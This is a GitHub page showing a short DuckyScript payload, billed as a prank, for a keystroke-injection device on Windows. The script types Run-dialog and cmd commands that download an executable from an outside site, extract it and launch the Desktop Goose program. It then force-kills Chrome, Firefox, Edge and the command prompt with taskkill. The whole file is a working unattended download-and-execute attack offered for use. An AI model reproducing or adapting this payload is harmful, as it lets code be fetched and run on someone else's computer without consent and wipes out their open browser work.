-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathGoosePayload.txt
50 lines (47 loc) · 903 Bytes
/
GoosePayload.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
REM Title: Desktop Goose
REM Description: Executes Desktop Goose
REM Target: Windows 10/11
REM Version: 1.0
REM Category: Prank
REM Author: AfterPacket
REM Source: https://github.com/AfterPacket/Wifi-Nugget-Payloads
GUI r
REM Run Attack
STRING https://www.snapfiles.com/directdl/DesktopGoose%20v0.3%20Extractor.exe
ENTER
DELAY 500
GUI r
String cmd.exe
ENTER
DELAY 700
String CD "%UserProfile%\Downloads
ENTER
Delay 200
STRING "DesktopGoose v0.3 Extractor.exe"
ENTER
Delay 700
ENTER
DELAY 600
GUI r
STRING cmd.exe
ENTER
ENTER
DELAY 1000
STRING CD "%UserProfile%\Downloads\"DesktopGoose v0.3"
ENTER
DELAY 200
STRING GooseDesktop.exe
Enter
DELAY 200
GUI r
STRING cmd.exe
ENTER
DELAY 200
STRING taskkill /f /im chrome.exe
Enter
STRING taskkill /f /im firefox.exe
Enter
STRING taskkill /f /im edge.exe
Enter
STRING taskkill /f /im cmd.exe
Enter